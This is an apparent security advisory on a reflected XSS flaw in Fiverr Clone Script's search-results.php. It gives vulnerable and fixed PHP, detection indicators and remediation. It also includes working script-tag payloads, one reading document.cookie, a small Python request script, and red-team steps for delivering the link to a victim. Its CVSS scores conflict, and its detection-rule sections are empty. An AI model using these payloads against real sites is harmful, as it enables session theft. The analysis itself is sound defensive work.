CVE-2019-25445

Executive Summary

CVE-2019-25445 is a reflected cross-site scripting (XSS) vulnerability in Fiverr Clone Script version 1.2.2. An unauthenticated attacker can inject arbitrary JavaScript via the keyword parameter in search-results.php. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the vector, it is a medium-severity issue. No official patch has been identified, and the vendor status is unknown.

Supply Chain & Package Security

This vulnerability affects a standalone PHP application (Fiverr Clone Script), not an NPM, PyPI, Go, or Ruby package. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the need for user interaction (clicking a crafted link) and the limited impact (low confidentiality and integrity).

Deep Dive & Mechanics

The vulnerability exists in search-results.php. The keyword parameter is not sanitized or encoded before being reflected in the HTML response. An attacker can craft a URL like:

http://target.com/search-results.php?keyword=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in their browser context. This allows the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (search-results.php):

<?php
$keyword = $_GET['keyword'];
echo "<h1>Search results for: " . $keyword . "</h1>";
?>

Patched Code (hypothetical):

<?php
$keyword = htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8');
echo "<h1>Search results for: " . $keyword . "</h1>";
?>

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy Fiverr Clone Script 1.2.2 on a local server (e.g., XAMPP).
2. Craft Payload: Create a URL with a malicious script:

   http://localhost/search-results.php?keyword=<script>alert(document.cookie)</script>
   

3. Deliver: Send the link to a victim via email or social engineering.
4. Execute: When the victim clicks the link, the script executes, stealing cookies.

Example Exploit (Python):

import requests

target = "http://localhost/search-results.php"
payload = "<script>alert('XSS')</script>"
params = {"keyword": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team

1. Detection: Monitor web logs for suspicious keyword parameters containing <script> tags.
2. Prevention: Implement input validation and output encoding. Use a Web Application Firewall (WAF) to block XSS patterns.
3. Response: If an attack is detected, block the attacker IP and reset affected user sessions.

Indicators of Compromise (IOCs)

• URL Pattern: search-results.php?keyword=<script>
• Log Entry: GET /search-results.php?keyword=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
• Network Traffic: HTTP requests with keyword parameter containing <script> tags.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding. Use htmlspecialchars() for all reflected parameters.
2. Long-term: Upgrade to a patched version if available. If not, consider migrating to a different script.
3. WAF: Deploy a Web Application Firewall with rules to block XSS patterns.
4. User Education: Train users not to click suspicious links.

Report generated by Valters IT DevSecOps & CTI Division